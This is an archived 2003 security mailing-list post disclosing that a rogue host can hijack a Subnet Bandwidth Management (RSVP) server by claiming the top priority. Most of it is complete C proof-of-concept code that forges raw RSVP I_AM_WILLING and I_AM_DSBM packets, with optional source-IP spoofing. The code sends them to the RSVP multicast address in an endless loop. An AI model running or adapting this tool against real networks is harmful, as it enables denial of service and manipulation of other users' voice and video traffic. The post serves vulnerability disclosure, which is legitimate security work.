Subnet Bandwidth Management (SBM) Protocol subject to attack via the Resource Reservation Protocol (RSVP)

From: rootat_private
Date: Mon Aug 11 2003 - 12:07:47 PDT

  • Next message: Dave Ahmad: "New Windows DCOM Worm - msblast.exe (fwd)"

    
     ('binary' encoding is not supported, stored as-is)
    Network Penetration
    www.networkpenetration.com
    Copyright (c) 2003 Ste Jones
    rootat_private
    
    Subnet Bandwidth Management (SBM) Protocol subject to attack via the 
    Resource Reservation Protocol (RSVP)
    
    
    Introduction
    ------------
    
    The resource reservation protocol (RSVP) is used within the Subnet 
    Bandwidth Management protocol (RFC 2814) and is vulnerable to allowing a 
    rogue host hijack control of a server via the use of priority assignemnt. 
    By specifying a higher priority than the current RSVP server would allow 
    the current server to be pre-empted and a rogue one take its place.
    
    How the attack works
    --------------------
    
    Send I_AM_WILLING RSVP packets to be the resource resvervation protocol 
    server to indicate that the the source host is willing to be a RSVP server.
    
    Send I_AM_DSBM RSVP packets to indicate that the source address has a 
    priority of 255 (1 byte - thus highest possible priority). If the server 
    has a lower priority, it will be pre-empted and the source address will 
    take over and act as the resource reservation server.  
    
    For politceness four I_AM_WILLING packers are sent, followed by a 
    I_AM_DSBM packet every five seconds after that. This should ensure that 
    while the I_AM_DSBM packets are being sent the orignal RSVP server would 
    not handle resoure priority assignment. Tested against a Windows 2000 RSVP 
    server, but as this is a protocol attack it is assumed that would work 
    against any RSVP server.
    
    For more information see http://support.microsoft.com/?kbid=228830
    For more information see http://support.microsoft.com/?kbid=247101
    
    
    Further Attacks Possible
    ------------------------
    A spoofed server could allow different hosts to have a different level of 
    quality of service (QoS), either giving a higher level priority to a host 
    or reducing the priority of a video link or a VoIP connection for example. 
    
    
    
    
    Proof of concept code
    ---------------------
    
    //Network Penetration
    //www.networkpenetration.com
    //ste jones rootat_private
    //
    //Proof of concept code for attack against RSVP / SBM (RFC 2814)
    //compile: gcc rsvp.c -Wall -o RSVP_DoS
    //Allows spoofing of source IP with -s
    //Tested on linux against win2k server
    //You will need to be root to launch the attack as we are using raw sockets
    
    /*RSVP
     * Resource ReserVation Protocol Munger
     * 
     * multicast IP 224.0.0.17
     * IP protocol number 0x2e for RSVP
     *
     * RSVP Header
     * Version = 4bits
     * flags = 4 bits
     * message type = 8 bits = 67 = I_AM_DSBM
     * RSVP checksum = 16 bits = set to 0's 
     * TTL = 8 bits = 1 on multicast
     * Reserved = 8 bits
     * RSVP length = 16 bits
     * + data
     *
     * Data header
     * Length = 16 bits
     * Class = 8 bits
     * type = 8 bits
     * Obj contents 
     */
    
    /*
     *Proof of concept - doesn;t check if RSVP priority of server assumes lower
     */
    #include <netinet/in.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <getopt.h>
    #include <stdio.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/ip.h>
    #include <netdb.h>
    #include <errno.h>
    #include <string.h>
    #include <arpa/inet.h>
    
    void usage(char *progname);
    void startattack(void);
    unsigned short in_chksum(unsigned short *pts, int nbytes);
    
    struct rsvphead{
    	int flags:4;
    	int version:4;
    	char type:8;
    	int checksum:16;
    	char ttl:8;
    	char reserved:8;
    	int length:16;
    };
    
    struct rsvpdata{
    	char buf[40];
    };
    		
    
    struct header{
    	struct iphdr ip;
    	struct rsvphead rhead;
    	struct rsvpdata rdata;
    };
    
    struct in_addr spoofed;
    
    int main(int argc, char *argv[])
    {
    	
    	int c;
    	printf("RSVP Munger by Ste Jones from NetworkPenetration.com\n");
    	printf("----------------------------------------------------\n");
    	opterr = 0; //stop error messages from command line
    	while ((c=getopt(argc, argv, "s:")) != -1){
    		switch(c){
    			case 's':	if(!inet_aton(optarg, &spoofed)){
    						printf("Malformed IP 
    address: %s\n",optarg);
    						exit(1);
    					}
    					break;
    					
    			default:	usage(argv[0]);
    					exit(1);
    					break;
    		}
    	}
    	for(;;){
    	startattack();
    	}
    	exit(0);
    }
    	
    void startattack(void)
    {
    	struct header heada;
    	struct sockaddr_in sin;
    	int sock;
    	int on;
    	int sinlen;
    	int willing;
    	unsigned char *sourceip;
    	on = 1;
    	willing = 4; //send willing four times then I_AM_DBSM
    	printf("\nSending %d I_AM_WILLING packets followed by I_AM_DSBM 
    packets every 5 seconds\n\n", willing);
    	for(;;){
    		
    		memset(&heada, '\0', sizeof(heada));
    		if(willing) printf("Creating I_AM_WILLING packet\n");
    		else printf("Creating I_AM_DSBM packet\n");
    
    		heada.ip.ihl = 5;
    		heada.ip.version = 4;
    		heada.ip.tos = 0xc0; //same options as set by Microsoft 
    RSVP
    		if(willing) heada.ip.tot_len = htons(56);
    		else heada.ip.tot_len = htons(64);
    		heada.ip.id = 0x0000; //checksum calculate later
    		heada.ip.frag_off = 0;
    		heada.ip.ttl = 1; //multicast uses ttl of 1
    		heada.ip.protocol = 0x2e; //RSVP protocol number
    		heada.ip.check = 0;
    		if(spoofed.s_addr){
    			heada.ip.saddr = spoofed.s_addr;
    		}
    		else heada.ip.saddr = 0; //let kernel decide
    		heada.ip.daddr = inet_addr("224.0.0.17");
    		
    		sourceip = (unsigned char *)&heada.ip.saddr;
    			
    		heada.rhead.flags   = 0;
    		heada.rhead.version = 1;
    		if(willing) heada.rhead.type    = 0x42; //I_AM_WILLING
    		else heada.rhead.type    = 0x43; //I_AM_DSBM
    		
    		heada.rhead.checksum= 0x0000; //checksum calculated later
    		heada.rhead.ttl     = 0x01;
    		heada.rhead.reserved= 0x00;
    		if(willing) heada.rhead.length = 0x2400;
    		else heada.rhead.length  = 0x2c00;
    		
    		heada.rdata.buf[0]  = 0x00;//length
    		heada.rdata.buf[1]  = 0x08;//length
    		heada.rdata.buf[2]  = 0x2a;//0x2a01 = DSBM IP ADDR 
    		heada.rdata.buf[3]  = 0x01;
    		heada.rdata.buf[4]  = sourceip[0];//IP address
    		heada.rdata.buf[5]  = sourceip[1];//if not spoofed DSBM IP 
    ADDR = 0
    		heada.rdata.buf[6]  = sourceip[2];//
    		heada.rdata.buf[7]  = sourceip[3];//
    		
    		heada.rdata.buf[8]  = 0x00;//length
    		heada.rdata.buf[9]  = 0x0c;//length
    		heada.rdata.buf[10]  = 0xa1;//0a101 = RSVP_HOP_L2, IEEE 
    canonical addr
    		heada.rdata.buf[11]  = 0x01;
    		heada.rdata.buf[12]  = 0x00; //mac addr
    		heada.rdata.buf[13]  = 0x11; //
    		heada.rdata.buf[14]  = 0x22; //
    		heada.rdata.buf[15]  = 0x33; //
    		heada.rdata.buf[16]  = 0x44; //
    		heada.rdata.buf[17]  = 0x55; //
    		heada.rdata.buf[18]  = 0x00; //
    		heada.rdata.buf[19]  = 0x00; //
    		
    		heada.rdata.buf[20]  = 0x00; //length
    		heada.rdata.buf[21]  = 0x08; //length
    		heada.rdata.buf[22]  = 0x2b; // 0x2b01 = SMB_Priority
    		heada.rdata.buf[23]  = 0x01; //
    		heada.rdata.buf[24]  = 0x00; //priority
    		heada.rdata.buf[25]  = 0x00; //priority
    		heada.rdata.buf[26]  = 0x00; //priority
    		if(!willing)heada.rdata.buf[27]  = 0xff; //priority 255
    		else heada.rdata.buf[27] = 0xff; //priority 
    		//priority = 255 
    		//highest possible priority
    		//if server has lower priority vulernable to DoS
    		
    		if(!willing){
    			heada.rdata.buf[28]  = 0x00; //length
    			heada.rdata.buf[29]  = 0x08; //length
    			heada.rdata.buf[30]  = 0x2c; //0x2c01 = DSBM timer 
    intervals
    			heada.rdata.buf[31]  = 0x01;
    			heada.rdata.buf[32]  = 0x00; //retransmit time
    			heada.rdata.buf[33]  = 0x00; //
    			heada.rdata.buf[34]  = 0x0f; //0x0f?
    			heada.rdata.buf[35]  = 0x05; //time 5 seconds
    		}
    
    		heada.ip.check = in_chksum((unsigned short *)&heada.ip, 
    20);
    	
    		sin.sin_family = AF_INET;
    		sin.sin_port = htons(0); 
    		sin.sin_addr.s_addr = inet_addr("224.0.0.17");
    
    		if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){
    			printf("Socket error %s\n",strerror(errno));
    			exit(1);
    		}
    
    		if((setsockopt(sock,IPPROTO_IP, IP_HDRINCL, &on, sizeof
    (on))) < 0){
    			printf("Setsockopt error %s\n",strerror(errno));
    			exit(1);
    		}
    	
    		sinlen = sizeof(sin);
    	
    		if(willing){
    			if(sendto(sock, &heada, 56, 0, (struct sockaddr *)
    &sin, sinlen) != 56){
    				printf("Sento error\n");
    				exit(1);
    			}
    			printf("Sent I_AM_WILLING packet\n");
    		}
    			
    		else{
    			if(sendto(sock, &heada, 64, 0, (struct sockaddr *)
    &sin, sinlen) != 64){
    				printf("Sento error\n");
    				exit(1);
    			}
    		printf("Sent I_AM_DBSM packet\n");
    		}
    
    		close(sock);
    		if(willing) willing--;
    		sleep(5);
    	}
    }
    
    void usage(char *progname)
    {
    	printf("\n%s\n", progname);
    	printf("\t-s <ip address> Spoof source IP address\n");
    	printf("\n");
    		
    	exit(1);
    }
    
    unsigned short in_chksum(unsigned short *pts, int nbytes)
    {
            register long sum;
            u_short oddbyte;
            register u_short answer;
    				 
            sum = 0;
            while(nbytes > 1){
                    sum += *pts++;
                    nbytes -=2;
           }
    						 
            if(nbytes == 1){
                    oddbyte = 0;
                    *((u_char *) &oddbyte) = *(u_char *)pts;
                    sum += oddbyte;
            }
    							 
            sum = (sum >> 16) + (sum &0xffff);
            sum += (sum >>16);
            answer = ~sum;
            return(answer);
    }
    



    This archive was generated by hypermail 2b30 : Mon Aug 11 2003 - 13:24:14 PDT